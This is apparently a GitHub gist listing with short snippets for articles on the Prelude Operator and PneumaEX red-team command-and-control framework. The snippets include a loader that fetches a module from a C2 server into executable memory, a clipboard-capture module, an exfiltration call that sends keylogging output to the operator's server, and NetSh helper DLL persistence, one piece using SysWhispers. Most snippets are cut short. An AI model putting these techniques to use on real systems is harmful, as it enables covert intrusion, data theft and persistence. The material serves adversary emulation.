Skip to content

Instantly share code, notes, and snippets.

Avatar
👾
Working from the Immaterium

Alex khyberspache

👾
Working from the Immaterium
View GitHub Profile
@khyberspache
khyberspache / pie_blob.c
Created Dec 23, 2020
Position Independent Executable example for article
View pie_blob.c
// example pie_blob.c
int f1(int v, void (* exit)(int)){
(*exit)(0);
return v;
}
@khyberspache
khyberspache / pie_blob_loader.c
Created Dec 23, 2020
Position Independent Executable loader example for article
View pie_blob_loader.c
// Request the pie_blob module from the C2 server
// mmap exectuable memory
fptr = mmap(NULL, sb.st_size, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// read the blob into memory
result = fread(fptr, 1, sb.st_size, pBlob);
// grab whatever libraries/symbols I want (or even better, just get pointers to dlsym/dlopen)
handle = dlopen(LIBC_FILE, RTLD_LAZY);
@khyberspache
khyberspache / run_command.go
Created Dec 23, 2020
keyword usage example for Operator
View run_command.go
func RunCommand(message string, executor string, payloadPath string) (string, int, int) {
if executor == "keyword" {
switch message {
case "stop agent":
os.Exit(0)
case "module":
// do module stuff
default:
// do other stuff
}
@khyberspache
khyberspache / module_syntax.yml
Created Dec 23, 2020
Module syntax for ability yaml file
View module_syntax.yml
module.collect.captureClipboard
@khyberspache
khyberspache / payload_syntax.yml
Created Dec 23, 2020
Modular payloads syntax for Prelude Operator
View payload_syntax.yml
#{operator.payloads}/path/to/payload/collect-windows.exe
#{operator.payloads}/path/to/payload/collect-linux
#{operator.payloads}/path/to/payload/collect-darwin
@khyberspache
khyberspache / capabilities.go
Created Dec 23, 2020
Module capability definition file for PneumaEX
View capabilities.go
package main
import ()
var (
ModuleName = "collect"
Functions = map[string]func(args []string) ([]byte, int){
"captureClipboard": captureClipboard,
}
ExecFunctions = map[string]func(args string) (){
@khyberspache
khyberspache / modular_command_args.yml
Created Dec 23, 2020
Example of argument passthrough to module for PneumaEX
View modular_command_args.yml
command: |
module.exfil.httpServer.["#{operator.http}", "#{file.T1056.001}", "#{agent.name}", "#{operator.session}"]
@khyberspache
khyberspache / standalone_func.go
Created Dec 23, 2020
Standalone function call example for PneumaEX
View standalone_func.go
RunStandalone("GoCapture", "C:\File\Path\To\Capture\into.tmp")
@khyberspache
khyberspache / whisperNetshHelperPersist.cpp
Created Jan 19, 2021
Use SysWhispers with NetSh DLL helper persistence to spawn processes at a given registry key
View whisperNetshHelperPersist.cpp
#include <locale>
#include <cstdlib>
#include <stdio.h>
#include <string>
#include <Windows.h>
#include "Syscalls.h"
LONG GetStringRegKey(HKEY, const std::wstring&, std::wstring&, const std::wstring&);
DWORD WINAPI RunBin(LPVOID lpParameter) {
@khyberspache
khyberspache / netsh_helper_dll.yml
Created Jan 19, 2021
Example command for using Helper DLL persistence
View netsh_helper_dll.yml
platforms:
windows:
exec:
command: 'netsh.exe add helper #{agent.location}\..\netShHelperDll.dll'
payload: '#{operator.payloads}/persistence/netsh/netShHelperDll.dll'
cmd:
command: 'netsh.exe add helper #{agent.location}\..\netShHelperDll.dll'
payload: '#{operator.payloads}/persistence/netsh/netShHelperDll.dll'